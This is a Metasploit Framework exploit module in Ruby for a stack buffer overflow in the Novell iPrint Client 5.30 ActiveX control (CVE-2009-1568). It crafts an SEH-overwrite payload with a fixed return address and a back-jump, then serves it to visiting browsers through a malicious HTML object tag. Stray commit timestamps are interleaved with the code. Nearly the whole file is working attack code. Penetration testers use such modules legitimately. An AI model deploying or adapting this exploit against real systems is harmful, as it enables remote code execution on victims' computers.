2010-02-23 18:06:35 +00:00
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##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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2012-02-21 01:40:50 +00:00
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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2010-02-23 18:06:35 +00:00
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell iPrint Client ActiveX Control target-frame Buffer Overflow',
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'Description' => %q{
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2010-05-09 17:45:00 +00:00
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This module exploits a stack buffer overflow in Novell iPrint Client 5.30. When
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2010-02-23 18:06:35 +00:00
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passing an overly long string via the "target-frame" parameter to ienipp.ocx
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an attacker can execute arbitrary code.
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NOTE: The "operation" variable must be set to a valid command in order to reach this
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vulnerability.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'jduck' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-1568' ],
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[ 'BID', '37242' ],
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[ 'OSVDB', '60803' ],
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[ 'URL', 'http://secunia.com/advisories/37169/' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1456,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'iPrint 5.30 Windows Client', { 'Ret' => 0x100489ac } ] # p/p/r in ienipp.ocx v5.30
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],
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'DisclosureDate' => 'Dec 08 2009',
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'DefaultTarget' => 0))
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end
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def autofilter
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false
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end
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def check_dependencies
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use_zlib
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end
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def on_request_uri(cli, request)
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# Re-generate the payload.
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return if ((p = regenerate_payload(cli)) == nil)
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sploit = p.encoded
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# the following must be an invalid pointer (unreadable)
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sploit << [rand(0xffffffff) | 0xc0000000].pack('V')
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sploit << generate_seh_record(target.ret)
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distance = 8 + 4 + payload_space
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sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string
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sploit << rand_text_alphanumeric(2048 - sploit.length)
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operations = [
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"op-client-interface-version",
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"op-client-version-info",
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"op-client-is-printer-installed",
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"op-user-get-role",
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"op-printer-install",
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"op-printer-remove",
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"op-printer-get-status",
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"op-printer-get-info",
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"op-printer-pause",
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"op-printer-resume",
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"op-printer-purge-jobs",
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"op-printer-list-users-jobs",
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"op-printer-list-all-jobs",
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"op-printer-send-test-page",
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"op-printer-send-file",
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"op-printer-setup-install",
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"op-job-get-info",
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"op-job-hold",
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"op-job-release-hold",
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"op-job-cancel",
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"op-job-restart",
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"op-dbg-printer-get-all-attrs",
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"op-dbg-job-get-all-attrs"
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]
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operation = operations[rand(operations.length)]
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# escape single quotes
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sploit = xml_encode(sploit)
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content = %Q|<html>
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<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'>
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<param name='operation' value='#{operation}' />
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<param name='target-frame' value='#{sploit}' />
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</object>
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</html>
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content = Rex::Text.randomize_space(content)
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2012-04-20 19:31:42 +00:00
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print_status("Sending #{self.name}")
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2010-02-23 18:06:35 +00:00
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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def xml_encode(str)
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ret = ""
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str.unpack('C*').each { |ch|
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case ch
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when 0x41..0x5a, 0x61..0x7a, 0x30..0x39
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ret << ch.chr
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else
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ret << "&#x"
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ret << ch.chr.unpack('H*')[0]
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ret << ";"
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end
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}
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ret
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end
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end
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